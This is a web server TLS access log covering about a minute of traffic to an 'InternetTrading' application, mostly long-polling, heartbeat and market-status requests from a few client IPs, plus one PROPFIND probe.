[09/Jan/2026:11:17:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928935555 HTTP/1.1" -
[09/Jan/2026:11:17:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928950909 HTTP/1.1" -
[09/Jan/2026:11:17:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928939502 HTTP/1.1" -
[09/Jan/2026:11:17:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:17:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928938191 HTTP/1.1" -
[09/Jan/2026:11:17:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928940603 HTTP/1.1" -
[09/Jan/2026:11:17:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:17:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928955934 HTTP/1.1" -
[09/Jan/2026:11:17:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928944623 HTTP/1.1" -
[09/Jan/2026:11:17:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928943230 HTTP/1.1" -
[09/Jan/2026:11:17:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928945629 HTTP/1.1" -
[09/Jan/2026:11:17:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928960989 HTTP/1.1" -
[09/Jan/2026:11:17:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928949683 HTTP/1.1" -
[09/Jan/2026:11:18:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928948264 HTTP/1.1" -
[09/Jan/2026:11:18:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928950671 HTTP/1.1" -
[09/Jan/2026:11:18:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928966062 HTTP/1.1" -
[09/Jan/2026:11:18:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928954801 HTTP/1.1" -
[09/Jan/2026:11:18:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928953341 HTTP/1.1" -
[09/Jan/2026:11:18:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928955705 HTTP/1.1" -
[09/Jan/2026:11:18:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928971137 HTTP/1.1" -
[09/Jan/2026:11:18:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928959928 HTTP/1.1" -
[09/Jan/2026:11:18:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:18:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:18:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928958411 HTTP/1.1" -
[09/Jan/2026:11:18:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928960743 HTTP/1.1" -
[09/Jan/2026:11:18:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928976188 HTTP/1.1" -
[09/Jan/2026:11:18:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928965083 HTTP/1.1" -
[09/Jan/2026:11:18:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928963481 HTTP/1.1" -
[09/Jan/2026:11:18:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928965785 HTTP/1.1" -
[09/Jan/2026:11:18:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928981207 HTTP/1.1" -
[09/Jan/2026:11:18:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928970207 HTTP/1.1" -
[09/Jan/2026:11:18:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:18:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:18:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928968566 HTTP/1.1" -
[09/Jan/2026:11:18:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928970825 HTTP/1.1" -
[09/Jan/2026:11:18:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:18:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928986237 HTTP/1.1" -
[09/Jan/2026:11:18:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928975325 HTTP/1.1" -
[09/Jan/2026:11:18:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928973598 HTTP/1.1" -
[09/Jan/2026:11:18:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928975842 HTTP/1.1" -
[09/Jan/2026:11:18:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:18:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928991269 HTTP/1.1" -
[09/Jan/2026:11:18:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928980390 HTTP/1.1" -
[09/Jan/2026:11:18:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928978633 HTTP/1.1" -
[09/Jan/2026:11:18:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928980885 HTTP/1.1" -
[09/Jan/2026:11:18:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928996324 HTTP/1.1" -
[09/Jan/2026:11:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928985511 HTTP/1.1" -
[09/Jan/2026:11:18:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928983707 HTTP/1.1" -
[09/Jan/2026:11:18:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928985904 HTTP/1.1" -
[09/Jan/2026:11:18:37 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:11:18:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929002225 HTTP/1.1" -
[09/Jan/2026:11:18:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928990639 HTTP/1.1" -
[09/Jan/2026:11:18:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:18:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:18:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928988767 HTTP/1.1" -
[09/Jan/2026:11:18:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928990922 HTTP/1.1" -
[09/Jan/2026:11:18:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928995831 HTTP/1.1" -
[09/Jan/2026:11:18:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929008230 HTTP/1.1" -
[09/Jan/2026:11:18:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928993792 HTTP/1.1" -
[09/Jan/2026:11:18:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928995951 HTTP/1.1" -
[09/Jan/2026:11:18:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929000970 HTTP/1.1" -
[09/Jan/2026:11:18:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:18:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929014226 HTTP/1.1" -
[09/Jan/2026:11:18:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928998853 HTTP/1.1" -
[09/Jan/2026:11:18:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929000999 HTTP/1.1" -
[09/Jan/2026:11:18:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:18:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929006124 HTTP/1.1" -
